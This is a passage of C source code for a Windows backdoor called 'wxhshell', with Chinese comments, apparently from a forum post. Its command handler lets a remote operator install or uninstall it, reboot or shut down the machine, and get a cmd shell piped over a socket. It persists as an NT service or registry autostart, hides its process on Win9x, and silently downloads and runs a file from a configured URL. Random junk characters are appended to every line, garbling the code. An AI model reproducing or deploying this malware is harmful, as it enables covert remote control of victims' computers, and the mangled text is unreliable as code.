  // 帮助 nJr:U2d  
  case '?': { &<$YR~g5j$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e .(  
    break; iji2gWV}h  
  } H6 V!W\:s  
  // 安装 +AkMU|6  
  case 'i': { bPMkBm  
    if(Install()) gbr-C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -P>up)p  
    else VI(2/**  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *U:0c ;h  
    break; !wr2OxK*  
    } c 0.? d]  
  // 卸载 ykBq?Vr  
  case 'r': { Scz/2vNi`  
    if(Uninstall()) .?dYY;P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vcz?;lg  
    else 0UN65JBuD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %(d0`9  
    break; +et)!2N  
    } f~Ve7   
  // 显示 wxhshell 所在路径 ?3; 0 SAh  
  case 'p': { x~n]r[!L  
    char svExeFile[MAX_PATH]; 3x3 =ke!  
    strcpy(svExeFile,"\n\r"); mNdEn<W  
      strcat(svExeFile,ExeFile); "3e1 7dsY  
        send(wsh,svExeFile,strlen(svExeFile),0); 2&KM&NX~  
    break; 2E_d$nsJ  
    } ~`!{5:v  
  // 重启 }:xj%?ki  
  case 'b': { x2$Y"b?vz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MgrJ ;?L  
    if(Boot(REBOOT)) B nu5\P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )^[PW&=W|x  
    else { DEN (pA\  
    closesocket(wsh); ^hyp}WN  
    ExitThread(0); :#nv:~2]  
    } PsOu:`=r  
    break; h%+6 y  
    } O]-s(8Oo3  
  // 关机 x!;;;iS  
  case 'd': { $Y=xu2u)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5"^Z7+6  
    if(Boot(SHUTDOWN)) z8*{i]j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4u+4LB*  
    else { D\ kd6  
    closesocket(wsh); 2y#[uSqB  
    ExitThread(0); M0Vs9K=  
    } Ns5'K^  
    break; S E0&CV4  
    } ]h 4r@L3  
  // 获取shell =b/:rSd$NA  
  case 's': { y25L`b  
    CmdShell(wsh); -;W`0 k^  
    closesocket(wsh); {/Qg4pc!  
    ExitThread(0); Rpou.RrXR7  
    break; 8%#pv}  
  } ]>H'CM4JR  
  // 退出 [*W l=  
  case 'x': { )Nkf'&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /4 %ycr6  
    CloseIt(wsh); @zq]vX-A_  
    break; 2NvbQ 3c5  
    } W*.6'u)9  
  // 离开 s%Irh;Bs  
  case 'q': { 344E4F"ph  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~pG,|\9  
    closesocket(wsh); o@@, }  
    WSACleanup(); Eq/oq\(/6  
    exit(1); u3])_oj=  
    break; /6Olq6V  
        } a~Nh6 x  
  } ~xakz BE  
  } 1b`WzoJgH  
L2`a| T=  
  // 提示信息 7>!Rg~M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l2 mO{'|C  
} dH_g:ocA  
  } L1u(\zw  
&8M^E/#.^;  
  return; ZJ'Tb<fP  
} ;wKsi_``@  
_}3NLAqg  
// shell模块句柄 3JXKp k?   
int CmdShell(SOCKET sock) Kp?j\67S  
{ G * '1[Bu  
STARTUPINFO si; tL}_kK_!  
ZeroMemory(&si,sizeof(si)); TM<;Nj[*n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .V.ga2+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M\6u4p!G!  
PROCESS_INFORMATION ProcessInfo; -EIfuh  
char cmdline[]="cmd"; a1 .+L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LR Dj!{k{  
  return 0; ' i<}/l  
} qJq!0F  
<EM'|IR?  
// 自身启动模式 1 ILA Utf)  
int StartFromService(void) ix!4s613w  
{ Z[G:  
typedef struct (M nK \^Y  
{ qfa[KD)!aB  
  DWORD ExitStatus; o7 1f<&1  
  DWORD PebBaseAddress; M TOZ:b  
  DWORD AffinityMask; *wu|(t_ A  
  DWORD BasePriority; C[s='v~}  
  ULONG UniqueProcessId; C*&FApG  
  ULONG InheritedFromUniqueProcessId; S?e*<s9k  
}   PROCESS_BASIC_INFORMATION; Y7WU4He L  
\z[L=  
PROCNTQSIP NtQueryInformationProcess; At)\$GJ  
m(p0)X),_i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :!<U"AC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _ m<@ou7  
q^^&nz<A  
  HANDLE             hProcess; `VD7VX,rp*  
  PROCESS_BASIC_INFORMATION pbi; l$DQkbOj  
R~H+.Vh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \Ws$@ J-M  
  if(NULL == hInst ) return 0; -$tf`   
WNWtQ2]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &LDA=B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,@r 0-gL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'q, L*  
!B:wzb_  
  if (!NtQueryInformationProcess) return 0; +MvO+\/  
Rn5{s3?F~2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  YW'l),Z  
  if(!hProcess) return 0; {LoNp0i1a  
*4?%Y8;bF6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5%;=(Oig  
N5|wBm>m  
  CloseHandle(hProcess); \>p\~[cxt  
|[/'W7TV%?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r9!,cs  
if(hProcess==NULL) return 0; <) VNEy'  
ZZJ<JdD  
HMODULE hMod; .kZ<Q]Vk  
char procName[255]; -PLh|  
unsigned long cbNeeded; MHF7hk ps}  
r l>e~i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RE.t<VasP  
C[Nh>V7=  
  CloseHandle(hProcess); \3 M%vJ  
/{ FSG!  
if(strstr(procName,"services")) return 1; // 以服务启动 35Cm>X  
Be~In~~  
  return 0; // 注册表启动 [[' (,,r  
} rkWiGiisM  
:3.!?mOe2  
// 主模块 `i{p6-U3  
int StartWxhshell(LPSTR lpCmdLine) !X ={a{<,T  
{ S9lT4  
  SOCKET wsl; NZ:KJ8ea"  
BOOL val=TRUE; iNv"!'|  
  int port=0; *TC#|5  
  struct sockaddr_in door; h$$2(!G4  
H rI(uZ]  
  if(wscfg.ws_autoins) Install(); lCiRvh1K  
+ 3c (CTz  
port=atoi(lpCmdLine); 'A)9h7k}  
LQXMGgp  
if(port<=0) port=wscfg.ws_port; yL"UBe}v  
+!eh\.u|]  
  WSADATA data; ;kR+jC(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pz,iQUs _o  
X^7n/|%*.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Gc2:^FVlh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uow{a*q d6  
  door.sin_family = AF_INET; |ohCA&k%;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jWcfQ  
  door.sin_port = htons(port); Z^6qxZJ7  
KU 98"b5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (65|QA   
closesocket(wsl); {q.|UCg[L  
return 1; 3%YDsd vQx  
} { \ ]KYI0  
OSIf>1  
  if(listen(wsl,2) == INVALID_SOCKET) { t 4>\ ;  
closesocket(wsl); *:8,w?Nt  
return 1;  LXf *  
} 0i~?^sT'  
  Wxhshell(wsl); mG.H=iw  
  WSACleanup(); y!/:1BHlm  
yyc4'j+  
return 0; dlCmSCp%  
~en'E  
} >\'gIIs  
jYE ?wc+FT  
// 以NT服务方式启动 z4wG]]Kh*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :YM1p&|fS  
{ ~%QI#s?|  
DWORD   status = 0; OTD<3Q q  
  DWORD   specificError = 0xfffffff; #y*p7~|@  
5m9;'SF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3h**y %^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g-DFcwO,V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  [1g   
  serviceStatus.dwWin32ExitCode     = 0; 2}U:6w  
  serviceStatus.dwServiceSpecificExitCode = 0; UX@8  
  serviceStatus.dwCheckPoint       = 0; Z=zD~ka  
  serviceStatus.dwWaitHint       = 0; ~$]Puv1V>  
e7M6|6nb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5;X3{$y  
  if (hServiceStatusHandle==0) return; qv)%)n  
g [c ^7  
status = GetLastError(); |C}=  1  
  if (status!=NO_ERROR) 8RjFp2) W  
{ b/obHB+:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DMiB \o  
    serviceStatus.dwCheckPoint       = 0; 'DTq<`~?  
    serviceStatus.dwWaitHint       = 0; `Tc"a_p9t  
    serviceStatus.dwWin32ExitCode     = status; h]DzX8r}  
    serviceStatus.dwServiceSpecificExitCode = specificError; -~ H?R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {C5-M!D{<  
    return; #D .hZ=!  
  } |SuN3B4e  
l09SWug  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <~n%=^knE  
  serviceStatus.dwCheckPoint       = 0; M sQ=1  
  serviceStatus.dwWaitHint       = 0; `@^s}rt+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k FCdGl  
} yQE9S+%M  
Y Sux#*#H  
// 处理NT服务事件,比如:启动、停止 e,Sxu[2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l^R1XBP  
{ Mu/hTTiNx  
switch(fdwControl) ]. 0;;v6)  
{ N7-LgP  
case SERVICE_CONTROL_STOP: S#N4!"  
  serviceStatus.dwWin32ExitCode = 0; PZk"!I<oN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; epG!V#I  
  serviceStatus.dwCheckPoint   = 0; BQL](Y "  
  serviceStatus.dwWaitHint     = 0; \T {<{<n  
  { ca,U>'(y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S3gd'Bahq  
  } _bSn YhS  
  return; jS4 fANG  
case SERVICE_CONTROL_PAUSE: J=Hyoz+9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^b6yN\,S  
  break; *}=z^;_oq  
case SERVICE_CONTROL_CONTINUE: !'*1;OQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3Uy(d,N  
  break; z?  Ck9  
case SERVICE_CONTROL_INTERROGATE: 7',WLuD  
  break; lf}%^od~6  
}; FQM9>l@6)>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jf=\\*64r4  
} "z4V@gk   
:I8HRkp  
// 标准应用程序主函数 ZiC~8p_f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hE;BT>_dn  
{ G-5ezVli  
`Hd~H  
// 获取操作系统版本 $fG~;`T  
OsIsNt=GetOsVer(); 4ZtsLMwLD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I 8VCR8q  
)wCV]TdF  
  // 从命令行安装 NE+ ;<mW  
  if(strpbrk(lpCmdLine,"iI")) Install(); z4 KKt&  
rkn'1M&u  
  // 下载执行文件 V;u FYt; E  
if(wscfg.ws_downexe) { k:#u%Z   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .~fov8  
  WinExec(wscfg.ws_filenam,SW_HIDE); t4<+]]   
} ,tak{["  
2X6L'!=  
if(!OsIsNt) { 4D sHUc6  
// 如果时win9x,隐藏进程并且设置为注册表启动 LN`Y`G|op  
HideProc(); /ommM  
StartWxhshell(lpCmdLine); 9](RZ6A+o  
} d$:LUxM#  
else DVjwY_nG7  
  if(StartFromService()) 4P^CqD&i  
  // 以服务方式启动 v0KJKrliGO  
  StartServiceCtrlDispatcher(DispatchTable); k1~? }+<e  
else ="de+S8W  
  // 普通方式启动 >*WT[UU  
  StartWxhshell(lpCmdLine); S#nW )=   
B!((N{4H+  
return 0; "mc ]^ O  
}
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只看该作者 1 发表于: 2006-10-10
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